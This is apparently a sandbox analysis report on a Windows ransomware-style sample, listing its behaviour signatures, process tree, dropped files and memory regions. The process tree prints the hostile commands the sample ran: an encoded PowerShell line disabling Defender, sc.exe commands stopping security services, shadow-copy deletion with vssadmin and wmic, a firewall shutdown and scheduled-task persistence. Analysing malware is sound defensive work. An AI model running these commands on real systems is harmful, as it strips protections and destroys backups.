Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    21/04/2026, 18:24

General

  • Target
    2026-04-21_9fbb76fe17cbb698364e7c9fe358a6aa_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 51KB
  • Sample260421-w129mset2t
  • SHA256 b9e1d805f415b64566b40e34b6795b4ec974c913de8260650f4280f4776f7498
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 2 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-21_9fbb76fe17cbb698364e7c9fe358a6aa_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-21_9fbb76fe17cbb698364e7c9fe358a6aa_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:388
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4612
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2200
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4248
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2904
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3880
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2780
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3248
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3224
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:3312
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2516
      • C:\Users\Admin\AppData\Local\Temp\2026-04-21_9fbb76fe17cbb698364e7c9fe358a6aa_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-04-21_9fbb76fe17cbb698364e7c9fe358a6aa_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:1932
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:2736
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-21_9fbb76fe17cbb698364e7c9fe358a6aa_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3648
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4208
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4412
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2788
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4732
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:2052
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1996
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:768
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1688
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:884
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:920
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4396
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:1888
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1276
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:1720
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2148
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:1580
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-04-21_9fbb76fe17cbb698364e7c9fe358a6aa_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3248
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:2680
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:3128
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:1712
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3408
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2564
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:4516
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:4076
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:3880
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:4876
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a1e855 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:4044
              • C:\Users\Admin\AppData\Local\Temp\2026-04-21_9fbb76fe17cbb698364e7c9fe358a6aa_destroyer_elex_glassworm_ngrbot_wannacry.exe
                C:\Users\Admin\AppData\Local\Temp\2026-04-21_9fbb76fe17cbb698364e7c9fe358a6aa_destroyer_elex_glassworm_ngrbot_wannacry.exe
                1⤵
                  PID:2836
                • C:\Windows\system32\vssvc.exe
                  C:\Windows\system32\vssvc.exe
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4976

                Network

                      MITRE ATT&CK Enterprise v16

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                      Downloads

                      invoice_1.pdf

                      • Path C:\ProgramData\invoice_1.pdf
                      • Size 69KB
                      • SHA256 2dfb940152e9b8e30500207b717ceef3ae1308db9d3f918a8bcf0b46e82fce6c
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      doc_3.pdf

                      • Path C:\SystemVolumeInformation\doc_3.pdf
                      • Size 68KB
                      • SHA256 9419c5f23e2718ca4919ea69c0970ba0640080c267a30988f9ecb91347b244c2
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      2026-04-21_9fbb76fe17cbb698364e7c9fe358a6aa_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-04-21_9fbb76fe17cbb698364e7c9fe358a6aa_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                      • Size 660B
                      • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                      • MD5 SHA1 SHA512 TLSH

                      __PSScriptPolicyTest_wi2norpp.z3d.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wi2norpp.z3d.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      createshortcut.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                      • Size 309B
                      • SHA256 e7a5129a856ae89b34a4942f9c3e8d3ed19a90ab19d49d91ccb5a06c2209fb29
                      • MD5 SHA1 SHA512 TLSH

                      del.bat

                      • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                      • Size 59B
                      • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                      • MD5 SHA1 SHA512 TLSH

                      makelnk.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                      • Size 310B
                      • SHA256 5540ddf31102759eb77831b56ccb2828584327703c51def7a2a793295feaed61
                      • MD5 SHA1 SHA512 TLSH

                      sysupdate.exe

                      • Path C:\Windows\System32\sysupdate.exe
                      • Size 51KB
                      • SHA256 b9e1d805f415b64566b40e34b6795b4ec974c913de8260650f4280f4776f7498
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      memory/388-3-0x000000001CA60000-0x000000001CF88000-memory.dmp

                      memory/388-2286-0x00000000008F0000-0x00000000008FC000-memory.dmp

                      memory/388-2288-0x000000001AD80000-0x000000001AD90000-memory.dmp

                      memory/388-2285-0x0000000000850000-0x0000000000881000-memory.dmp

                      memory/388-2-0x000000001D650000-0x000000001D812000-memory.dmp

                      memory/388-1-0x000000001AD80000-0x000000001AD90000-memory.dmp

                      memory/388-0-0x0000000000070000-0x0000000000084000-memory.dmp

                      memory/768-2289-0x00000164970D0000-0x0000016497101000-memory.dmp

                      memory/884-2262-0x0000023CEF960000-0x0000023CEF991000-memory.dmp

                      memory/1712-2278-0x0000018906B40000-0x0000018906B71000-memory.dmp

                      memory/1932-16-0x00000000010E0000-0x0000000001111000-memory.dmp

                      memory/2052-2283-0x0000017239890000-0x00000172398C1000-memory.dmp

                      memory/2516-14-0x000001BA57130000-0x000001BA57161000-memory.dmp

                      memory/2680-2259-0x000001FFEC960000-0x000001FFEC96C000-memory.dmp

                      memory/2680-2258-0x000001FFEC8D0000-0x000001FFEC901000-memory.dmp

                      memory/2736-2247-0x0000027871060000-0x000002787106C000-memory.dmp

                      memory/2736-2246-0x0000027870FF0000-0x0000027871021000-memory.dmp

                      memory/2788-2267-0x00000255292E0000-0x0000025529311000-memory.dmp

                      memory/2836-2255-0x0000000000800000-0x0000000000831000-memory.dmp

                      memory/3128-2268-0x000001FF8F330000-0x000001FF8F331000-memory.dmp

                      memory/3128-2281-0x000001FF8DB20000-0x000001FF8DB51000-memory.dmp

                      memory/3408-2279-0x0000020D074C0000-0x0000020D074F1000-memory.dmp

                      memory/4044-2287-0x000001BEE2710000-0x000001BEE2741000-memory.dmp

                      memory/4076-2282-0x00000182F7080000-0x00000182F70B1000-memory.dmp

                      memory/4412-2266-0x000002767DA40000-0x000002767DA71000-memory.dmp

                      memory/4612-27-0x000001FFBE4C0000-0x000001FFBE4CA000-memory.dmp

                      memory/4612-30-0x000001FFD6B10000-0x000001FFD6B16000-memory.dmp

                      memory/4612-28-0x000001FFD6B50000-0x000001FFD6B6A000-memory.dmp

                      memory/4612-29-0x000001FFD66E0000-0x000001FFD66E8000-memory.dmp

                      memory/4612-31-0x000001FFD6B20000-0x000001FFD6B2A000-memory.dmp

                      memory/4612-36-0x000001FFBDED0000-0x000001FFBDEE2000-memory.dmp

                      memory/4612-35-0x000001FFBC600000-0x000001FFBC60C000-memory.dmp

                      memory/4612-26-0x000001FFD6B30000-0x000001FFD6B4C000-memory.dmp

                      memory/4612-25-0x000001FFBE4B0000-0x000001FFBE4BA000-memory.dmp

                      memory/4612-34-0x000001FFBC4A0000-0x000001FFBC4D1000-memory.dmp

                      memory/4612-24-0x000001FFD6900000-0x000001FFD69B3000-memory.dmp

                      memory/4612-23-0x000001FFBE490000-0x000001FFBE4AC000-memory.dmp

                      memory/4612-7-0x000001FFBE3F0000-0x000001FFBE412000-memory.dmp